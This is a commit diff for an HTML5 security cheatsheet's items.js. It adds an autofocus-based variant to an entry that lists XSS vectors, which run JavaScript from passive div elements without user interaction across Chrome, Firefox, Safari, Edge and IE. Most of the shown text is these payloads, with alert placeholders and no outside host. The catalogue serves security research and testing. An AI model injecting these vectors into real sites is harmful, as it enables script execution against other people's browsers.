Skip to content

Commit 1a91bbc

Browse files
committed
Added new #145 variation working in Blink
1 parent 963d653 commit 1a91bbc

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

items.js

+3-3
Original file line numberDiff line numberDiff line change
@@ -5165,7 +5165,7 @@ return [
51655165
'de' : '',
51665166
'zh' : ''
51675167
},
5168-
'data' : '#Chrome, Opera, Safari and Edge\r\n<div onfocus="%js_alert%" contenteditable tabindex="0" id="xss"></div>\r\n<div style="-webkit-user-modify:read-write" onfocus="%js_alert%" id="xss">\r\n<div style="-webkit-user-modify:read-write-plaintext-only" onfocus="%js_alert%" id="xss">\r\n\r\n# Firefox\r\n<div onbeforescriptexecute="%js_alert%"></div>\r\n<script>1</script>\r\n\r\n#MSIE10/11 & Edge\r\n<div style="-ms-scroll-limit:1px;overflow:scroll;width:1px" onscroll="%js_alert%">\r\n\r\n#MSIE10\r\n<div contenteditable onresize="%js_alert%"></div>\r\n\r\n# MSIE11\r\n<div onactivate="%js_alert%" id="xss" style="overflow:scroll"></div>\r\n<div onfocus="%js_alert%" id="xss" style="display:table">\r\n<div id="xss" style="-ms-block-progression:bt" onfocus="%js_alert%">\r\n<div id="xss" style="-ms-layout-flow:vertical-ideographic" onfocus="%js_alert%">\r\n<div id="xss" style="float:left" onfocus="%js_alert%">\r\n\r\n# Chrome, Opera, Safari\r\n<style>@keyframes x{}</style>\r\n<div style="animation-name:x" onanimationstart="%js_alert%"></div>\r\n\r\n# Chrome, Opera, Safari\r\n<style>\r\ndiv {width: 100px;}\r\ndiv:target {width: 200px;}\r\n</style>\r\n<div id="xss" onwebkittransitionend="%js_alert%" style="-webkit-transition: width .1s;"></div>\r\n\r\n# Safari\r\n<div style="overflow:-webkit-marquee" onscroll="alert(1)"></div>',
5168+
'data' : '#Chrome, Opera, Safari and Edge\r\n<div contenteditable onfocus="%js_alert%" autofocus></div>\r\n<div onfocus="%js_alert%" contenteditable tabindex="0" id="xss"></div>\r\n<div style="-webkit-user-modify:read-write" onfocus="%js_alert%" id="xss">\r\n<div style="-webkit-user-modify:read-write-plaintext-only" onfocus="%js_alert%" id="xss">\r\n\r\n# Firefox\r\n<div onbeforescriptexecute="%js_alert%"></div>\r\n<script>1</script>\r\n\r\n#MSIE10/11 & Edge\r\n<div style="-ms-scroll-limit:1px;overflow:scroll;width:1px" onscroll="%js_alert%">\r\n\r\n#MSIE10\r\n<div contenteditable onresize="%js_alert%"></div>\r\n\r\n# MSIE11\r\n<div onactivate="%js_alert%" id="xss" style="overflow:scroll"></div>\r\n<div onfocus="%js_alert%" id="xss" style="display:table">\r\n<div id="xss" style="-ms-block-progression:bt" onfocus="%js_alert%">\r\n<div id="xss" style="-ms-layout-flow:vertical-ideographic" onfocus="%js_alert%">\r\n<div id="xss" style="float:left" onfocus="%js_alert%">\r\n\r\n# Chrome, Opera, Safari\r\n<style>@keyframes x{}</style>\r\n<div style="animation-name:x" onanimationstart="%js_alert%"></div>\r\n\r\n# Chrome, Opera, Safari\r\n<style>\r\ndiv {width: 100px;}\r\ndiv:target {width: 200px;}\r\n</style>\r\n<div id="xss" onwebkittransitionend="%js_alert%" style="-webkit-transition: width .1s;"></div>\r\n\r\n# Safari\r\n<div style="overflow:-webkit-marquee" onscroll="alert(1)"></div>',
51695169
'description' : {
51705170
'en' : 'Often, an attacker can only inject into a "passive" element, meaning for instance a DIV or a SPAN. For those elements, it\'s not always trivial to execute injected JavaScript without user interaction (such as clicks or mouse events). If the element injected into is outside the visible range, it becomes hard to prove that the injection is in fact exploitable. For this reason, this item lists all currently known ways of executing JavaScript without user interaction from passive elements. The list is expected to grow over time.\r\n\r\nNote, that for some of the attacks here, the string "#xss" needs to be appended to the URL of the injected page.',
51715171
'ja' : '',
@@ -5190,8 +5190,8 @@ return [
51905190
'firefox' : ['4.x', 'latest'],
51915191
'safari' : ['4.0', 'latest']
51925192
},
5193-
'tags' : ['user interaction', 'passive elements', 'html5', 'css', 'contenteditable'],
5194-
'reporter' : '.mario, Ben Hayak, avlidienbrunn, Masato Kinugawa'
5193+
'tags' : ['user interaction', 'passive elements', 'html5', 'css', 'contenteditable', 'autofocus'],
5194+
'reporter' : '.mario, Ben Hayak, avlidienbrunn, Masato Kinugawa, Renwa, F. Stuhlmann'
51955195
},
51965196
{ /* ID 146 - JavaScript execution via <FRAMESET> and onpageshow */
51975197
'id' : 146,

0 commit comments

Comments
 (0)